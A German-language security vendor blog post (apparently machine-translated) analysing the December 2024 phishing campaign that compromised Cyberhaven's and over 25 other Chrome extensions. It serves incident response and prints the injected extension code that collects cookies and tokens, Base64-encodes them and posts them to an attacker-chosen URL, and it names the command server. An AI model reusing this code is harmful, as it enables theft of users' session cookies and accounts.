Zuletzt aktualisiert: 30. Dezember 2024
Dieser Blog-Thread verfolgt die sich entwickelnde globale Angriffskampagne gegen Browsererweiterungen im Chrome Web Store. Wir werden neue Details aktualisieren, sobald sie verfügbar sind.
Zusammenfassung
Am 27. Dezember 2024 gab das Cybersicherheits-Startup Cyberhaven bekannt, dass seine Browsererweiterung durch einen Angriff kompromittiert und mit Schadcode infiziert wurde. Nachdem Einzelheiten zu diesem Angriff bekannt wurden, wurden schnell weitere kompromittierte Browsererweiterungen entdeckt. Derzeit sind mehr als 25 Erweiterungen bekannt, die betroffen sind.
Der Live-Thread unten erläutert alle uns bekannten Details, welche Erweiterungen betroffen sind, wie sich Organisationen schützen sollten und wie LayerX seinen Kunden hilft, die von diesem Angriff betroffenen Erweiterungen zu beheben.
Schnelllinks in diesem Dokument:
- Wie der Angriff entdeckt wurde
- Wie der Angriff durchgeführt wurde
- Technische Analyse des Angriffs
- Weitere betroffene Erweiterungen
- So schützen Sie sich
- Wie LayerX seinen Kunden hilft, sich zu schützen
- Kostenlose Prüfung und Behebung kompromittierter Erweiterungen
Wie der Angriff entdeckt wurde
Am 27. Dezember 2024 informierte Cyberhaven seine Kunden über eine Sicherheitsverletzung, die zur Kompromittierung der Anmeldeinformationen eines Cyberhaven-Mitarbeiters führte, die verwendet wurden, um eine bösartige Version der Browsererweiterung von Cyberhaven in den Chrome Store zu übertragen. Die Cyberhaven Security Extension hat derzeit über 400,000 Benutzer, die vermutlich von dieser Verletzung betroffen waren.
Die Nachricht von dem Vorfall war erster Bericht des Cybersicherheitsblogs Vulnu, das eine Kopie der E-Mail von Cyberhavent an Kunden erhalten hat.
Der Analyse von Cyberhaven zufolge wurde einer ihrer Mitarbeiter am 24. Dezember durch einen Phishing-Angriff gefährdet, wodurch die Angreifer Zugriff auf die Browsererweiterung des Unternehmens im Chrome Web Store erhielten.
Angreifer nutzten diesen Zugriff dann, um eine bösartige Version der Browsererweiterung von Cyberhaven hochzuladen und aktualisierten sie in den frühen Morgenstunden des 25. Dezember im Chrome Store.
Laut Cyberhaven wurde das bösartige Update etwa einen Tag später entdeckt und der Schadcode in den frühen Morgenstunden des 26. Dezember entfernt. Insgesamt war die bösartige Version etwas mehr als 24 Stunden online.
Als sich jedoch herausstellte, dass weitere Erweiterungen kompromittiert wurden, wurde deutlich, dass es sich bei dem Cyberhaven-Angriff nicht um einen isolierten Angriff handelte, der nur auf dieses Unternehmen abzielte, sondern dass er Teil einer umfassenden Kampagne war.
Daher ist die Analyse des Cyberhaven-Vorfalls für das Verständnis der Kampagne als Ganzes relevant.
Wie der Angriff durchgeführt wurde
Das Administratorkonto der Cyberhaven-Browsererweiterung wurde durch einen gezielten Phishing-Angriff kompromittiert, sodass die Angreifer eine bösartige Version davon veröffentlichen konnten.
Da es sich bei diesem Vorfall nicht um einen einmaligen Angriff handelte, sondern um Teil einer Kampagne, die auf mehrere Erweiterungen abzielte, gehen wir davon aus, dass der Phishing-Ansatz, der für den Angriff auf Cyberhaven verwendet wurde, auch bei allen anderen Erweiterungen wiederholt wurde.
Das wahrscheinlichste Ziel der Phishing-Kampagne ist der Chrome Web Store selbst.
Der Chrome Store stellt für jede Erweiterung Details zum Herausgeber der Erweiterung sowie eine Kontakt-E-Mail-Adresse bereit:
Beispiel-Kontaktdaten der Cyberhaven-Browsererweiterung aus dem Chrome Web Store
Unter Verwendung dieser E-Mail-Adressen verschickten Angreifer gefälschte E-Mails, die angeblich im Namen von Google verfasst waren, und warnten die Empfänger vor „Verstößen“ in ihren Konten.
Dies ist eine Kopie der Phishing-E-Mail, die an Cyberhaven gesendet wurde und die das Unternehmen als Teil seiner technische Analyse des Vorfalls:
Allerdings sind auch aus anderen Quellen ähnliche E-Mails aufgetaucht: Thread in der Chromium.org-Diskussionsgruppe befragt zu einer verdächtigen E-Mail, die sie angeblich von Google erhalten haben, um herauszufinden, ob es sich dabei um einen Phishing-Versuch handelt:
Diese E-Mail ist nahezu identisch mit der E-Mail, die Cyberhaven kompromittiert hat (obwohl sie einen anderen Grund für den „Verstoß“ angibt), was darauf hindeutet, dass sie Teil derselben Phishing-Kampagne war. Laut dem Post wurde diese E-Mail am 23. Dezember empfangen, ungefähr zu der Zeit, als Cyberhaven gehackt wurde.
Nachdem die Zielgruppe auf den E-Mail-Link geklickt hatte, wurde sie zu einem Autorisierungsformular von Google weitergeleitet, um eine OAuth-Google-Anwendung namens „Privacy Policy Extensions“ hinzuzufügen.
Das Befolgen dieses Genehmigungsablaufs würde dazu führen, dass die bösartige OAuth-Anwendung eines Drittanbieters autorisiert und ihr Zugriff auf das Chrome Web Store-Konto des Opfers gewährt würde. Aufgrund der Art und Weise, wie der Angriff aufgebaut war, mussten die Angreifer jedoch nicht die Kontoanmeldeinformationen selbst (also das Passwort) kompromittieren, sondern konnten sich einfach die von der bösartigen Anwendung erteilten Berechtigungen zunutze machen.
Technische Analyse des Angriffs
Nachdem die Angreifer Zugriff auf das Web Store-Konto des Opfers erlangt hatten, injizierten sie Code in die worker.js-Datei der Erweiterung, um auf eine externe URL (cyberhavenext[.]pro) zuzugreifen und eine externe Konfigurationsdatei herunterzuladen.
Bei jedem Start des Browsers holt die Erweiterung eine Konfigurationsdatei von einem Remote-Server. Diese Datei steuert das Verhalten der Erweiterung und kann vom Angreifer dynamisch aktualisiert werden, sodass er bestimmen kann, was und wann Aktionen auftreten. Der Angreifer kann die Konfigurationsdatei jederzeit wechseln, wodurch der Angriff dynamisch an unterschiedliche Umgebungen oder Ziele angepasst werden kann. Dies ist der Schlüssel zur Flexibilität des Angriffs.
Unten sehen Sie ein Beispiel für einen solchen Code:
Wichtige Erkenntnisse aus dem Code:
- Über mehrere Erweiterungen eingefügt: Der Schadcode ist nicht auf eine einzige Erweiterung beschränkt. Stattdessen wurde er in mehrere Erweiterungen eingeschleust, wobei jede Erweiterung ihre eigene, einzigartige Konfigurationsdatei abruft. Diese Strategie ermöglicht es dem Angreifer, die Angriffsmethoden zu diversifizieren, das Verhalten für verschiedene Erweiterungen anzupassen und die Erkennung zu erschweren.
- Wiederkehrendes Verhalten: Der Abruf der Konfiguration erfolgt bei jedem Start des Browsers. Dadurch wird sichergestellt, dass jede Erweiterung immer mit den neuesten Anweisungen des Angreifers arbeitet.
- Irreführende Namensgebung: Der Code verwendet Variablen- oder Attributnamen, wie beispielsweise cyberhavenext_ext_manage, die den Namen des Unternehmens enthält. Dadurch erscheint es für Entwickler, die den Speicher oder Code der Erweiterung überprüfen, legitim.
- Missbrauch des lokalen Speichers: Durch das Speichern der Konfigurationsdaten in chrome.storage.localstellt der Angreifer die Persistenz sicher. Entwickler, die diese Daten untersuchen, könnten ihnen aufgrund der Verwendung vertrauter oder glaubwürdig klingender Namen fälschlicherweise vertrauen.
- Dynamische Steuerung: Der Endpunkt (https://cyberhavenext.pro/ai-cyberhaven) ermöglicht es dem Angreifer, die Konfigurationsdateien für jede Erweiterung jederzeit zu ändern und so die vollständige Kontrolle über die Funktionalität und das Verhalten jeder infizierten Erweiterung zu erhalten.
- Kundenspezifische Konfigurationen: Jede Erweiterung ruft eine einzigartige Konfiguration ab, wodurch das bösartige Verhalten schwerer zu verallgemeinern und zu erkennen ist. Dieser Ansatz ermöglicht maßgeschneiderte Angriffe basierend auf dem spezifischen Zweck oder der Benutzerbasis der Erweiterung.
Darüber hinaus fügte der Code den Erweiterungen eine neue Datei (content.js) hinzu, die dazu dient, Benutzerdaten auf Websites zu sammeln und sie auf eine externe Website zu übertragen. Das Hintergrundskript in der Erweiterung fungiert als zentraler Controller, der eingehende Nachrichten von Inhaltsskripten verarbeitet und basierend auf diesen Nachrichten verschiedene Aktionen ausführt. Der folgende Codeausschnitt demonstriert eine flexible Struktur, die darauf wartet, mehrere Arten von Anfragen zu verarbeiten:
chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))
Das Skript verwendet chrome.runtime.onMessage.addListener um eine Vielzahl von Aktionen zu verarbeiten. Jede Aktion definiert ein bestimmtes Verhalten, z. B. das Stellen von Netzwerkanforderungen.
Wenn die "cyberhavenext-check-errors”-Aktion aufgerufen wird, ruft der Angreifer vertrauliche Cookies ab und verwendet dazu chrome.cookies.getAll Der Angreifer kombiniert diese Daten außerdem mit anderen Informationen (wie navigator[c] und e.uid) verschleiert der Angreifer den Inhalt durch btoa() um sie in Base64 zu konvertieren. Dies macht die Daten in Netzwerküberwachungstools weniger lesbar und fügt eine Verschleierungsebene hinzu.
Durch das Einbetten dieser Aktionen in das Hintergrundskript stellt der Angreifer Folgendes sicher:
- Die bösartige Aktivität ist unabhängig von Benutzerinteraktionen.
- Es geschieht leise im Hintergrund und ist daher schwerer zu erkennen.
Analysen, die Cyberhaven an exponierten Endpunkten durchgeführt hat, deuten darauf hin, dass der Schadcode speziell auf Cookies und Authentifizierungstoken für Facebook und insbesondere auf Facebook-Geschäftskonten abzielte:
Laut Cyberhaven umfassten die angegriffenen Daten Facebook-Zugriffstoken, Benutzer-IDs, Kontoinformationen und Details zum Facebook-Ads-Konto.
Weitere betroffene Erweiterungen
Nachdem die URL des bösartigen C&C-Servers identifiziert war, nutzten die Sicherheitsforscher Reverse DNS, um weitere Domänen zu identifizieren, die auf dieselbe IP-Adresse aufgelöst wurden. Dies führte zu dem Entdeckung weiterer kompromittierter Browser-Erweiterungen und enthüllte das Ausmaß dieser Angriffskampagne.
Derzeit sind mehr als 25 Browsererweiterungen mit einer Installationsbasis von über 2.3 Millionen Benutzern kompromittiert:
- KI-Assistent – ChatGPT und Gemini für Chrome
- KI-Shop-Buddy
- Bard-KI-Chat
- Lesezeichen-Favicon-Änderung
- Castorus
- ChatGPT Assistant – Intelligente Suche
- Cyberhaven-Sicherheitserweiterung V3
- Earny – Bis zu 20 % Cashback
- E-Mail-Jäger
- GPT 4 Zusammenfassung mit OpenAI
- GraphQL-Netzwerkinspektor
- Internxt VPN
- Tastaturverlaufsrekorder
- Papageiengespräche
- Primus
- Reader Mode
- Belohnungssuchautomat
- Search Copilot AI Assistant für Chrome
- Nach Ältesten sortieren
- Tackker – Online-Keylogger-Tool
- TinaMind – Der GPT-4o-gestützte KI-Assistent!
- Uvoice
- VidHelper – Video-Downloader
- Vidnoz Flex – Videorecorder und Videofreigabe
- Visuelle Effekte für Google Meet
- VPNStadt
- Wayin KI
So schützen Sie sich
Obwohl die technischen Analysen bisher darauf hindeuteten, dass das Hauptziel dieser Kampagne der Diebstahl von Facebook-Anmeldeinformationen und Zugriffstoken war, lässt sich nicht ausschließen, dass auch die Anmeldeinformationen weiterer Websites offengelegt wurden.
Aus diesem Grund empfiehlt LayerX allen betroffenen Benutzern die folgenden Maßnahmen:
- Betroffene Browsererweiterungen entfernen: Stellen Sie sicher, dass alle betroffenen Erweiterungen entfernt und/oder blockiert werden. Einige der Erweiterungen haben bereits aktualisierte Versionen hochgeladen, die den Schadcode entfernt haben, aber nicht alle. Darüber hinaus bleiben alle kompromittierten Erweiterungen, die bereits heruntergeladen wurden, offen, bis der Benutzer die Erweiterungsversion aktualisiert. Aus diesem Grund ist es wichtig, alle potenziell gefährdeten Erweiterungen aktiv zu deaktivieren.
- Aktualisieren Sie alle Erweiterungen auf die neuesten Versionen: Falls vom Herausgeber ein Fix herausgegeben wurde, ist es wichtig, die installierte Version der Erweiterung so schnell wie möglich zu aktualisieren (vorausgesetzt, sie wurde nicht bereits entfernt).
- Alle Cookies der betroffenen Benutzer löschen: Da der Angriff auf Cookies und Zugriffstoken von Websites abzielte, ist es zwingend erforderlich, alle vorhandenen Cookies zu löschen und die Zugriffstoken zu aktualisieren.
- Passwörter rotieren: Als bewährte Methode wird außerdem empfohlen, alle Passwörter der betroffenen Benutzer zu aktualisieren, um sicherzustellen, dass keine Zugangsdaten kompromittiert bleiben.
Wie LayerX seinen Kunden hilft
- Erkennung offengelegter Erweiterungen: Seit der Cyberhaven-Vorfall aufgedeckt wurde, arbeiten Sicherheitsforscher auf der ganzen Welt daran, weitere kompromittierte Erweiterungen zu identifizieren. LayerX war bei dieser Anstrengung aktiv, hat eine Reihe solcher Erweiterungen entdeckt und diese ebenfalls mit öffentlich verfügbaren Informationen kombiniert.
- Erkennung bösartiger Erweiterungen, die in Kundennetzwerken eingesetzt werden: LayerX aktualisiert seine Listen bösartiger Erweiterungen kontinuierlich, um Erweiterungen aufzunehmen, die durch diesen Verstoß beeinträchtigt wurden. Immer wenn eine solche Erweiterung entdeckt wird, werden die Kunden sofort benachrichtigt. Darüber hinaus hat LayerX betroffene Kunden aktiv kontaktiert, um sie über diese Erkenntnisse zu informieren.
- Bereitstellung automatischer Durchsetzungsrichtlinien: LayerX hat die Kundenrichtlinien aktualisiert, um alle bekannten kompromittierten Erweiterungen automatisch zu deaktivieren.
- Löschung der Cookies offengelegter Benutzer: Auf Benutzeranforderung kann LayerX bei exponierten Benutzern aktiv das Löschen von Cookies erzwingen und so Cookies und Authentifizierungstoken zurücksetzen.
- Erzwingen Sie die Kennwortrotation für exponierte Benutzer: LayerX kann auch Sicherheitsrichtlinien implementieren, um die Rotation von Passwörtern für exponierte Benutzer zu erzwingen und so sicherzustellen, dass keine Zugangsdaten offengelegt werden.
Kostenlose Prüfung und Behebung kompromittierter Erweiterungen
Aufgrund der Breite und des Umfangs dieses Angriffs bietet LayerX Organisationen, die von diesem Angriff betroffen sind (oder befürchten, möglicherweise betroffen zu sein), eine kostenlose Prüfung und Behebung ihrer Browsererweiterungen an.
Dieses Audit umfasst:
- Erkennung aller in Ihrer Umgebung installierten Browsererweiterungen
- Zuordnung, welche Benutzer welche Erweiterungen auf ihren Endpunkten installiert haben
- Detaillierte Risikobewertung jeder Browsererweiterung
- Entfernung kompromittierter bösartiger Browsererweiterungen
- Rotation von Benutzer-Cookies und Passwörtern, falls erforderlich
Zu unseren Stellenangeboten um sich für diese Beurteilung anzumelden.






